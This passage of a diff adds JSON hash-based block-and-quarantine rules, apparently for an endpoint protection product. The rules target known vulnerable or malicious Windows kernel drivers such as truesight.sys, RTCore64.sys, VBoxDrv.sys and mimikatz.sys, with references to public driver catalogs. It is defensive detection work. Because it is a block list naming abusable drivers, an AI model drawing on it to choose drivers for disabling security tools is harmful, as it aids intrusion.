+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.145825Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "53ff5a5d249b46963193ad6ace0ad2eed3015f75c21f336a9356587a24626039",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ae04f8e0-70d0-557b-8c0b-82a6429b5728",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.454036Z",
+  "creation_date": "2026-03-23T11:45:30.454039Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.454048Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0eab16c7f54b61620277977f8c332737081a46bc6bbde50742b6904bdd54f502",
+  "comment": "Vulnerable Kernel Driver (aka sandra.sys) [https://www.loldrivers.io/drivers/bc5e020a-ecff-43c8-b57b-ee17b5f65b21/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ae12a09f-49b3-5257-af6a-3cf87530f738",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.829202Z",
+  "creation_date": "2026-03-23T11:45:30.829204Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.829209Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "341112cb43a877160f2c2b49c815e00d2069dbd3d7151660c1bd7aa0a48798de",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ae1fcc51-187e-5984-8bdb-f96e64c33ed9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.817304Z",
+  "creation_date": "2026-03-23T11:45:31.817306Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.817311Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a7fd5ee391257e27e9f62cba119818229e873fe4ac1ff3d8ce58ceb461cd3679",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ae29637f-c982-56f5-844e-863e2ccfa65a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.835910Z",
+  "creation_date": "2026-03-23T11:45:30.835912Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.835918Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d60c23bb3d66311291cf83fd65a368d7633138123d3128e5c7102f5dbc810603",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ae2e71ba-7048-5943-94ab-52026fb9fcd8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.477290Z",
+  "creation_date": "2026-03-23T11:45:30.477293Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.477302Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0dc4ff96d7e7db696e0391c5a1dda92a0b0aedbf1b0535bf5d62ebeec5b2311c",
+  "comment": "Vulnerable Kernel Driver (aka elbycdio.sys) [https://www.loldrivers.io/drivers/855ade1f-8a9e-4c9d-ab8e-d7e409609852/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ae34fd73-6596-5769-9458-9605fa08ca8a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.825132Z",
+  "creation_date": "2026-03-23T11:45:30.825136Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.825146Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "453ebab8125afc45e99d961bdd0471e6ac75d17636d8a07f5b1ec50a2e6c7ee7",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ae3cf975-c2ac-58b3-a54a-9a37ac42cf65",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.608631Z",
+  "creation_date": "2026-03-23T11:45:29.608633Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.608638Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c5bd7563d8f97c73577cc0e90b5f7b7764940250067bf4cf6e739d27ffd26a5b",
+  "comment": "VirtualBox VBoxDrv vulnerable driver (aka VBoxDrv.sys) [CVE-2008-3431] [https://www.loldrivers.io/drivers/79542852-3a0c-43bc-bfa3-3eeb0e1d7fd2/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ae47271a-4399-5cd6-98cb-b9b7f4d4d151",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.141121Z",
+  "creation_date": "2026-03-23T11:45:31.141123Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.141129Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d4e4ec99d8c460bbe7a13c1e8ff54dedcbf45b6fbd204eb6a628c25933d8f2b5",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ae48bbea-c71b-5880-a655-221694433305",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.462199Z",
+  "creation_date": "2026-03-23T11:45:30.462203Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.462211Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "82fea578188662b4ed6df4c3aaaf6ebae72a6cd2f8bf135a89150cca1769156b",
+  "comment": "Malicious Kernel Driver (aka mimikatz.sys) [https://www.loldrivers.io/drivers/14556074-b235-4378-b356-f58721629d72/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ae526818-b10c-57db-aec5-d7946e11b165",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.818213Z",
+  "creation_date": "2026-03-23T11:45:31.818216Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.818224Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "557df7d5121ad120c2969b470757e44291abc2bdd2e3b0c60772d5c5f1bc23c2",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ae596425-e3e7-5329-8a5c-5641c3e37ede",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.830257Z",
+  "creation_date": "2026-03-23T11:45:31.830259Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.830264Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "429f5d277168ca8c967b1502381190fbaa147707feb6ff580a371fe29045337a",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ae5e89b9-4a3c-50ad-a710-2655ba969617",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.460408Z",
+  "creation_date": "2026-03-23T11:45:30.460411Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.460420Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "54bf602a6f1baaec5809a630a5c33f76f1c3147e4b05cecf17b96a93b1d41dca",
+  "comment": "Vulnerable Kernel Driver (aka RTCore64.sys) [https://www.loldrivers.io/drivers/e32bc3da-4db1-4858-a62c-6fbe4db6afbd/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ae827a04-2ff5-58fa-bbec-8574e2dfef4e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.469486Z",
+  "creation_date": "2026-03-23T11:45:30.469489Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.469498Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "374bb09b4d6a9f21a5e2320343068bd44848f396d9b25a6f4d80931e6d9505ce",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ae830a4f-c9dc-5d2a-b666-054bde0122bb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.491369Z",
+  "creation_date": "2026-03-23T11:45:31.491372Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.491380Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "97445ce282a3f1fa81f60aad2897c04627510fe8aabf82bae7dab7c3557bccec",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ae86594e-5289-5edf-852f-c361582b9f21",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.967567Z",
+  "creation_date": "2026-03-23T11:45:29.967569Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.967575Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f83c357106a7d1d055b5cb75c8414aa3219354deb16ae9ee7efe8ee4c8c670ca",
+  "comment": "Retliften malicious signed drivers (aka netfilter.sys) [https://msrc-blog.microsoft.com/2021/06/25/investigating-and-mitigating-malicious-drivers/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ae876ee6-441e-545d-81e3-9eba6c401dac",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.150461Z",
+  "creation_date": "2026-03-23T11:45:31.150463Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.150468Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "fe1f8fbbcc623adace57f324e95ba90c3d31180dda932e84bcb6172da78af133",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ae8beed8-1877-5929-976b-19aeda4277d5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.477516Z",
+  "creation_date": "2026-03-23T11:45:31.477519Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.477529Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4fe85d8e2dc09a022c6c2a2f3cba4c656bf74785a896de052b60c67fa3ba55b0",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ae907d59-39c2-5da8-ba3c-b4dfeb5d1420",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.608103Z",
+  "creation_date": "2026-03-23T11:45:29.608105Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.608110Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "cf3a7d4285d65bf8688215407bce1b51d7c6b22497f09021f0fce31cbeb78986",
+  "comment": "VirtualBox VBoxDrv vulnerable driver (aka VBoxDrv.sys) [CVE-2008-3431] [https://www.loldrivers.io/drivers/79542852-3a0c-43bc-bfa3-3eeb0e1d7fd2/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ae98a251-5578-5348-b099-c2ecb176884e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.610794Z",
+  "creation_date": "2026-03-23T11:45:29.610796Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.610801Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "dbb457ae1bd07a945a1466ce4a206c625e590aee3922fa7d86fbe956beccfc98",
+  "comment": "CPUID CPU-Z vulnerable driver (aka cpuz143_x64.sys) [CVE-2017-15302] [https://www.loldrivers.io/drivers/de003542-80e1-4aa0-9b99-ed8647a93a6e/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "aeb7583e-f49d-5838-868f-ae10be7abc2f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.604699Z",
+  "creation_date": "2026-03-23T11:45:29.604701Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.604707Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "de6bf572d39e2611773e7a01f0388f84fb25da6cba2f1f8b9b36ffba467de6fa",
+  "comment": "Vulnerable Kernel Driver (aka netfilter2.sys) [https://www.loldrivers.io/drivers/5ad8a3b6-6d20-4c95-8fa7-9a507167ba3c/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "aec922b7-116e-5c07-9413-eea77b1a5cf9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.818465Z",
+  "creation_date": "2026-03-23T11:45:31.818468Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.818478Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a079dc1a975c5ec4aa199a683917e83aa919f60d0fa4a2db2964fab0c79949bb",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "aed057d0-78e2-5a96-8df2-66378a4cc35a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.826207Z",
+  "creation_date": "2026-03-23T11:45:30.826209Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.826215Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
